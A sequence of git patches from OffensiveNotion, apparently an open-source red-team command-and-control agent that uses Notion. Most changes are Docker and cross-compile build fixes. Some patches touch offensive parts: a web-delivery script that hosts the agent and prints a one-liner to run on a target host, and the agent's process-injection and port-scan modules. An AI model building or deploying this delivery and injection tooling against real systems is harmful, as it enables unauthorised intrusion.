Taggart Date: Sat, 19 Mar 2022 09:03:30 -0700 Subject: [PATCH 83/99] Remove cargo config in favor of script args --- agent/.cargo/config | 3 --- main.py | 4 ++++ 2 files changed, 4 insertions(+), 3 deletions(-) delete mode 100644 agent/.cargo/config diff --git a/agent/.cargo/config b/agent/.cargo/config deleted file mode 100644 index 4727075..0000000 --- a/agent/.cargo/config +++ /dev/null @@ -1,3 +0,0 @@ -[target.x86_64-apple-darwin] -linker = "x86_64-apple-darwin14-clang" -ar = "x86_64-apple-darwin14-ar" \ No newline at end of file diff --git a/main.py b/main.py index 13e7dd5..bc37306 100755 --- a/main.py +++ b/main.py @@ -248,6 +248,10 @@ def main(): new_env["PATH"] = "/OffensiveNotion/osxcross/target/bin" + os.pathsep + os.environ["PATH"] + if os_arg == "macos": + new_env["CARGO_TARGET_x86_64_APPLE_DARWIN_LINKER"] = "x86_64-apple-darwin14-clang" + new_env["CARGO_TARGET_x86_64_APPLE_DARWIN_AR"] = "x86_64-apple-darwin14-ar" + sub.call( ["cargo build -Z unstable-options --out-dir /out {} {}".format(os_arg, build_arg)], shell=True, env=new_env From 7ddc8d87ec8c4165bbc53214eca1fea1b12470c3 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 19 Mar 2022 09:04:15 -0700 Subject: [PATCH 84/99] Set path conditionally --- main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.py b/main.py index bc37306..a06e064 100755 --- a/main.py +++ b/main.py @@ -246,9 +246,9 @@ def main(): else: build_arg = "" - new_env["PATH"] = "/OffensiveNotion/osxcross/target/bin" + os.pathsep + os.environ["PATH"] if os_arg == "macos": + new_env["PATH"] = "/OffensiveNotion/osxcross/target/bin" + os.pathsep + os.environ["PATH"] new_env["CARGO_TARGET_x86_64_APPLE_DARWIN_LINKER"] = "x86_64-apple-darwin14-clang" new_env["CARGO_TARGET_x86_64_APPLE_DARWIN_AR"] = "x86_64-apple-darwin14-ar" From 879d5c89de748d536cd93678dcd924737fc7c041 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sat, 19 Mar 2022 09:30:14 -0700 Subject: [PATCH 85/99] Fix capitalization of env vars --- main.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/main.py b/main.py index a06e064..79fc7e3 100755 --- a/main.py +++ b/main.py @@ -249,8 +249,8 @@ def main(): if os_arg == "macos": new_env["PATH"] = "/OffensiveNotion/osxcross/target/bin" + os.pathsep + os.environ["PATH"] - new_env["CARGO_TARGET_x86_64_APPLE_DARWIN_LINKER"] = "x86_64-apple-darwin14-clang" - new_env["CARGO_TARGET_x86_64_APPLE_DARWIN_AR"] = "x86_64-apple-darwin14-ar" + new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_LINKER"] = "x86_64-apple-darwin14-clang" + new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_AR"] = "x86_64-apple-darwin14-ar" sub.call( ["cargo build -Z unstable-options --out-dir /out {} {}".format(os_arg, build_arg)], shell=True, From b2f59592255afa3951133d3312ac344fcc265405 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 19 Mar 2022 18:30:13 -0400 Subject: [PATCH 86/99] =?UTF-8?q?web=20delivery=20back=20online=20?= =?UTF-8?q?=F0=9F=9A=80=F0=9F=9A=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Dockerfile | 2 +- bin/.gitkeep | 0 utils/web_delivery.py | 20 ++++---------------- 3 files changed, 5 insertions(+), 17 deletions(-) delete mode 100755 bin/.gitkeep diff --git a/Dockerfile b/Dockerfile index 4399e3d..09b74bf 100644 --- a/Dockerfile +++ b/Dockerfile @@ -32,7 +32,7 @@ COPY ./ /OffensiveNotion WORKDIR /OffensiveNotion # MacOS install. If not building a macOS agent, feel free to comment this RUN command out. -RUN git clone https://github.com/tpoechtrager/osxcross && cd osxcross && wget -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && mv MacOSX10.10.sdk.tar.xz tarballs/ && echo "[*] Building osxcross. This may take a while..." &&UNATTENDED=yes OSX_VERSION_MIN=10.7 ./build.sh > /dev/null 2>&1 && echo "[+] Done!" +#RUN git clone https://github.com/tpoechtrager/osxcross && cd osxcross && wget -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && mv MacOSX10.10.sdk.tar.xz tarballs/ && echo "[*] Building osxcross. This may take a while..." &&UNATTENDED=yes OSX_VERSION_MIN=10.7 ./build.sh > /dev/null 2>&1 && echo "[+] Done!" RUN pip3 install -r requirements.txt ENTRYPOINT ["/usr/bin/python3", "main.py"] \ No newline at end of file diff --git a/bin/.gitkeep b/bin/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/utils/web_delivery.py b/utils/web_delivery.py index c6657c2..1a02e2b 100644 --- a/utils/web_delivery.py +++ b/utils/web_delivery.py @@ -20,26 +20,14 @@ def randomize_str() -> str: def copy_agent(os, build, uri): - web_dir = "utils/www/{}".format(uri) + web_dir = "/OffensiveNotion/utils/www/{}".format(uri) print(info + "Copying agent") if os == "windows": - agent_path = "x86_64-pc-windows-gnu" - bin_dir_folder = "windows_" + build agent_name = "offensive_notion.exe" - elif os == "linux": - agent_path = build - bin_dir_folder = "linux_" + build - agent_name = "offensive_notion" else: - agent_path = "debug" - bin_dir_folder = "linux_debug" agent_name = "offensive_notion" - try: - if os == "windows": - shutil.move("bin/{}/{}/{}/{}".format(bin_dir_folder, agent_path, build, agent_name), web_dir) - else: - shutil.move("bin/{}/{}/{}".format(bin_dir_folder, agent_path, agent_name), web_dir) + shutil.move("/out/{}".format(agent_name), web_dir) except Exception as e: print(printError + str(e)) exit(1) @@ -96,5 +84,5 @@ def main(host, port, method, os, build): uri = randomize_str() copy_agent(os, build, uri) one_liner = generate_payload(method, host, port, uri) - print("\n" + important + "Run this on the target host:\n" + Fore.YELLOW + one_liner + Fore.RESET + "\n") - app.run(host=host, port=port) + print("\n" + important + "Run this on the target host:\n" + Fore.YELLOW + one_liner + Fore.RESET + "\n") + app.run(host="0.0.0.0", port=port) From e3b5183cd1e7c67061c7a212523fec279f643890 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 19 Mar 2022 18:32:46 -0400 Subject: [PATCH 87/99] removing macos from build args for now until we can figure out the docker issue --- main.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/main.py b/main.py index 79fc7e3..7921ae0 100755 --- a/main.py +++ b/main.py @@ -16,7 +16,11 @@ parser = argparse.ArgumentParser(description='OffensiveNotion Setup. Must be run as root. Generates the ' 'OffensiveNotion agent in a container.') -parser.add_argument('-o', '--os', choices=['linux', 'windows', 'macos'], help='Target OS') +parser.add_argument('-o', '--os', choices=['linux', + 'windows', + # Coming soon! + #'macos' + ],help='Target OS') parser.add_argument('-b', '--build', choices=['debug', 'release'], help='Binary build') parser.add_argument('-c', '--c2lint', default=False, action="store_true", help="C2 linter. Checks your C2 config " "by creating a test page on your " From 0b2b4fae38398e043b1de294abea062db3f52818 Mon Sep 17 00:00:00 2001 From: husky Date: Sat, 19 Mar 2022 18:40:36 -0400 Subject: [PATCH 88/99] removing macos from build args for now until we can figure out the docker issue --- utils/web_delivery.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/utils/web_delivery.py b/utils/web_delivery.py index 1a02e2b..3f76cbc 100644 --- a/utils/web_delivery.py +++ b/utils/web_delivery.py @@ -27,7 +27,7 @@ def copy_agent(os, build, uri): else: agent_name = "offensive_notion" try: - shutil.move("/out/{}".format(agent_name), web_dir) + shutil.copyfile("/out/{}".format(agent_name), web_dir) except Exception as e: print(printError + str(e)) exit(1) From 609ff00ae1e977bf0fb2ff316e7a83761568f6d4 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 20 Mar 2022 13:44:38 -0700 Subject: [PATCH 89/99] Cleaner format string syntax for args --- main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main.py b/main.py index 7921ae0..e74af27 100755 --- a/main.py +++ b/main.py @@ -257,7 +257,7 @@ def main(): new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_AR"] = "x86_64-apple-darwin14-ar" sub.call( - ["cargo build -Z unstable-options --out-dir /out {} {}".format(os_arg, build_arg)], shell=True, + [f"cargo build -Z unstable-options --out-dir /out {os_arg} {build_arg}"], shell=True, env=new_env ) From 28fcd52d357076a74c5ceeb87d45fd8c3c33c069 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 20 Mar 2022 16:01:00 -0700 Subject: [PATCH 90/99] Fix for macOS Docker build; optimize Docker image --- Dockerfile | 13 +++++++++++-- main.py | 17 ++++++++++------- 2 files changed, 21 insertions(+), 9 deletions(-) diff --git a/Dockerfile b/Dockerfile index 09b74bf..05273fe 100644 --- a/Dockerfile +++ b/Dockerfile @@ -27,12 +27,21 @@ RUN rustup target add x86_64-apple-darwin # FROM ubuntu:latest as onbuilder RUN mkdir /OffensiveNotion +RUN mkdir /OffensiveNotion/agent +RUN mkdir /OffensiveNotion/agent/src +RUN mkdir /OffensiveNotion/agent/target RUN mkdir /out -COPY ./ /OffensiveNotion +# We're going to be more explicit about this copy over to save space in the image +# Also, a fun hack to get the config.json if it exists, but copy the rest regardless +COPY ./main.py ./requirements.txt config.json /OffensiveNotion/ +COPY ./utils /OffensiveNotion/utils +COPY ./agent/Cargo.toml ./agent/build.rs ./agent/offensive_notion.rc ./agent/notion.ico /OffensiveNotion/agent/ +COPY ./agent/src/ /OffensiveNotion/agent/src/ + WORKDIR /OffensiveNotion # MacOS install. If not building a macOS agent, feel free to comment this RUN command out. -#RUN git clone https://github.com/tpoechtrager/osxcross && cd osxcross && wget -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && mv MacOSX10.10.sdk.tar.xz tarballs/ && echo "[*] Building osxcross. This may take a while..." &&UNATTENDED=yes OSX_VERSION_MIN=10.7 ./build.sh > /dev/null 2>&1 && echo "[+] Done!" +RUN git clone https://github.com/tpoechtrager/osxcross && cd osxcross && wget -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && mv MacOSX10.10.sdk.tar.xz tarballs/ && echo "[*] Building osxcross. This may take a while..." &&UNATTENDED=yes OSX_VERSION_MIN=10.7 ./build.sh > /dev/null 2>&1 && echo "[+] Done!" RUN pip3 install -r requirements.txt ENTRYPOINT ["/usr/bin/python3", "main.py"] \ No newline at end of file diff --git a/main.py b/main.py index e74af27..68be61b 100755 --- a/main.py +++ b/main.py @@ -18,8 +18,7 @@ 'OffensiveNotion agent in a container.') parser.add_argument('-o', '--os', choices=['linux', 'windows', - # Coming soon! - #'macos' + 'macos' ],help='Target OS') parser.add_argument('-b', '--build', choices=['debug', 'release'], help='Binary build') parser.add_argument('-c', '--c2lint', default=False, action="store_true", help="C2 linter. Checks your C2 config " @@ -231,9 +230,6 @@ def main(): os.chdir("agent") - # The subprocess needs the env var, so we'll set it, along with the - # rest of the env here - new_env = os.environ.copy() # Run cargo. The unstable options allows --out-dir, meaning the user # Can mount a folder they select as the destination for the compiled result @@ -250,15 +246,22 @@ def main(): else: build_arg = "" + # The subprocess needs the env var, so we'll set it, along with the + # rest of the env here + new_env = os.environ.copy() - if os_arg == "macos": + # Set extra env vars for macOS build + if args.os == "macos": + print("Building for macOS; setting env vars") new_env["PATH"] = "/OffensiveNotion/osxcross/target/bin" + os.pathsep + os.environ["PATH"] new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_LINKER"] = "x86_64-apple-darwin14-clang" new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_AR"] = "x86_64-apple-darwin14-ar" + + # print(new_env.) sub.call( [f"cargo build -Z unstable-options --out-dir /out {os_arg} {build_arg}"], shell=True, - env=new_env + env=new_env, ) # This will make an additional target folder, so blow it away From 99118050e97d516624016df099d694c5e5e09bdf Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Sun, 20 Mar 2022 16:53:26 -0700 Subject: [PATCH 91/99] Use literal in macros --- agent/src/cmd/mod.rs | 5 ++++- agent/src/logger.rs | 3 ++- agent/src/main.rs | 2 ++ 3 files changed, 8 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/mod.rs b/agent/src/cmd/mod.rs index 121e657..a4f6071 100755 --- a/agent/src/cmd/mod.rs +++ b/agent/src/cmd/mod.rs @@ -28,9 +28,12 @@ mod selfdestruct; macro_rules! notion_out { - ($s:tt) => { + ($s:literal) => { Ok(format!($s)) }; + ($s:literal, $e:ident) => { + Ok(format!($s, $e)) + } } pub(crate) use notion_out; diff --git a/agent/src/logger.rs b/agent/src/logger.rs index 72b6ed9..ff3bd05 100644 --- a/agent/src/logger.rs +++ b/agent/src/logger.rs @@ -72,8 +72,9 @@ impl Logger { } macro_rules! log_out { - ($s:tt) => { + ($s:literal) => { format!($s) }; + } pub(crate) use log_out; \ No newline at end of file diff --git a/agent/src/main.rs b/agent/src/main.rs index d5e1a69..075a69d 100755 --- a/agent/src/main.rs +++ b/agent/src/main.rs @@ -5,6 +5,7 @@ extern crate serde_json; extern crate whoami; extern crate base64; + use std::{thread, time}; use std::env::args; use std::process::exit; @@ -31,6 +32,7 @@ mod cmd; use cmd::{NotionCommand, CommandType}; mod logger; + #[tokio::main] async fn main() -> Result<(), Box> { From 6bd5980865da22c4253f93b3edcf919ce306fd93 Mon Sep 17 00:00:00 2001 From: husky Date: Mon, 21 Mar 2022 12:31:02 -0400 Subject: [PATCH 92/99] globbin that dockerfile yo --- Dockerfile | 2 +- main.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index 05273fe..213a7a9 100644 --- a/Dockerfile +++ b/Dockerfile @@ -33,7 +33,7 @@ RUN mkdir /OffensiveNotion/agent/target RUN mkdir /out # We're going to be more explicit about this copy over to save space in the image # Also, a fun hack to get the config.json if it exists, but copy the rest regardless -COPY ./main.py ./requirements.txt config.json /OffensiveNotion/ +COPY ./main.py ./requirements.txt config.json* /OffensiveNotion/ COPY ./utils /OffensiveNotion/utils COPY ./agent/Cargo.toml ./agent/build.rs ./agent/offensive_notion.rc ./agent/notion.ico /OffensiveNotion/agent/ COPY ./agent/src/ /OffensiveNotion/agent/src/ diff --git a/main.py b/main.py index 68be61b..5939269 100755 --- a/main.py +++ b/main.py @@ -252,7 +252,7 @@ def main(): # Set extra env vars for macOS build if args.os == "macos": - print("Building for macOS; setting env vars") + print(info + "Building for macOS; setting env vars") new_env["PATH"] = "/OffensiveNotion/osxcross/target/bin" + os.pathsep + os.environ["PATH"] new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_LINKER"] = "x86_64-apple-darwin14-clang" new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_AR"] = "x86_64-apple-darwin14-ar" From 052a54d220533588d6c6597f9215c419bd2c8f2e Mon Sep 17 00:00:00 2001 From: husky Date: Mon, 21 Mar 2022 12:35:27 -0400 Subject: [PATCH 93/99] globbin that dockerfile yo --- .gitignore | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.gitignore b/.gitignore index 68c1b98..dd903db 100644 --- a/.gitignore +++ b/.gitignore @@ -11,6 +11,9 @@ bin/windows_debug/* agent/src/config.rs.bak Dockerfile.bak utils/www/* +offensive_notion +offensive_notion.exe + # Excluding for experimentation agent/src/config.rs From e66bc1bc84c76662819fd40fecb1e5c7b3dc4732 Mon Sep 17 00:00:00 2001 From: husky Date: Mon, 21 Mar 2022 14:54:14 -0400 Subject: [PATCH 94/99] fix on dockerfile glob to match one char from config.json --- Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 213a7a9..5b1d8ae 100644 --- a/Dockerfile +++ b/Dockerfile @@ -33,7 +33,7 @@ RUN mkdir /OffensiveNotion/agent/target RUN mkdir /out # We're going to be more explicit about this copy over to save space in the image # Also, a fun hack to get the config.json if it exists, but copy the rest regardless -COPY ./main.py ./requirements.txt config.json* /OffensiveNotion/ +COPY ./main.py ./requirements.txt config.jso[n] /OffensiveNotion/ COPY ./utils /OffensiveNotion/utils COPY ./agent/Cargo.toml ./agent/build.rs ./agent/offensive_notion.rc ./agent/notion.ico /OffensiveNotion/agent/ COPY ./agent/src/ /OffensiveNotion/agent/src/ From df879f5dfd38c6ab1400e9ba3fa7e0b5f75217e2 Mon Sep 17 00:00:00 2001 From: husky Date: Mon, 21 Mar 2022 16:12:10 -0400 Subject: [PATCH 95/99] fix on dockerfile glob to match one char from config.json --- main.py | 1 - 1 file changed, 1 deletion(-) diff --git a/main.py b/main.py index 5939269..2eb9b1a 100755 --- a/main.py +++ b/main.py @@ -230,7 +230,6 @@ def main(): os.chdir("agent") - # Run cargo. The unstable options allows --out-dir, meaning the user # Can mount a folder they select as the destination for the compiled result # Parameterizing the cargo build command From 5d0a7301cb6c7c97771f18353bc1775710ca67f7 Mon Sep 17 00:00:00 2001 From: husky Date: Mon, 21 Mar 2022 16:13:43 -0400 Subject: [PATCH 96/99] removing errorapi calls due to windows errors --- agent/src/cmd/inject.rs | 11 +++++------ main.py | 1 - 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index 90372cf..df3cad0 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -14,8 +14,7 @@ use base64::decode as b64_decode; PAGE_READWRITE, PVOID }; -#[cfg(windows)] use winapi::um::{ - errhandlingapi, +#[cfg(windows)] use winapi::um:: //errhandlingapi, processthreadsapi, winbase, synchapi::WaitForSingleObject @@ -247,8 +246,8 @@ pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result Result Date: Mon, 21 Mar 2022 16:14:10 -0400 Subject: [PATCH 97/99] removing errorapi calls due to windows errors --- agent/src/cmd/inject.rs | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/agent/src/cmd/inject.rs b/agent/src/cmd/inject.rs index df3cad0..d1d94a4 100755 --- a/agent/src/cmd/inject.rs +++ b/agent/src/cmd/inject.rs @@ -14,7 +14,8 @@ use base64::decode as b64_decode; PAGE_READWRITE, PVOID }; -#[cfg(windows)] use winapi::um:: //errhandlingapi, +#[cfg(windows)] use winapi::um::{ + //errhandlingapi, processthreadsapi, winbase, synchapi::WaitForSingleObject From 8942c39be3acb4e4af4c85ed3bc4c57080ea8b24 Mon Sep 17 00:00:00 2001 From: husky Date: Tue, 22 Mar 2022 13:12:10 -0400 Subject: [PATCH 98/99] commenting printlns in portscan source --- agent/src/cmd/portscan.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/src/cmd/portscan.rs b/agent/src/cmd/portscan.rs index e3b57d7..86aa7dd 100755 --- a/agent/src/cmd/portscan.rs +++ b/agent/src/cmd/portscan.rs @@ -33,12 +33,12 @@ async fn eval_target(target: String) -> ScanTarget { // CIDR if IpCidr::is_ip_cidr(&target) { - println!("[*] Looks like a CIDR range."); + //println!("[*] Looks like a CIDR range."); ScanTarget::Cidr(IpCidr::from_str(target.as_str()).unwrap()) // IP } else if let Ok(ip) = IpAddr::from_str(target.as_str()) { - println!("[*] Looks like an IP address."); + //println!("[*] Looks like an IP address."); ScanTarget::Address(ip) // Hostname? Maybe someday From 36af17be289817042e4774030a400e3af742d514 Mon Sep 17 00:00:00 2001 From: Michael Taggart Date: Wed, 23 Mar 2022 00:07:01 -0700 Subject: [PATCH 99/99] Update to v1.10 --- agent/Cargo.lock | 2 +- agent/Cargo.toml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/agent/Cargo.lock b/agent/Cargo.lock index 3e7d493..aa89438 100755 --- a/agent/Cargo.lock +++ b/agent/Cargo.lock @@ -587,7 +587,7 @@ dependencies = [ [[package]] name = "offensive_notion" -version = "1.0.0" +version = "1.1.0" dependencies = [ "base64", "cidr-utils", diff --git a/agent/Cargo.toml b/agent/Cargo.toml index a5e43c5..121f0aa 100755 --- a/agent/Cargo.toml +++ b/agent/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "offensive_notion" -version = "1.0.0" +version = "1.1.0" edition = "2021" build = "build.rs"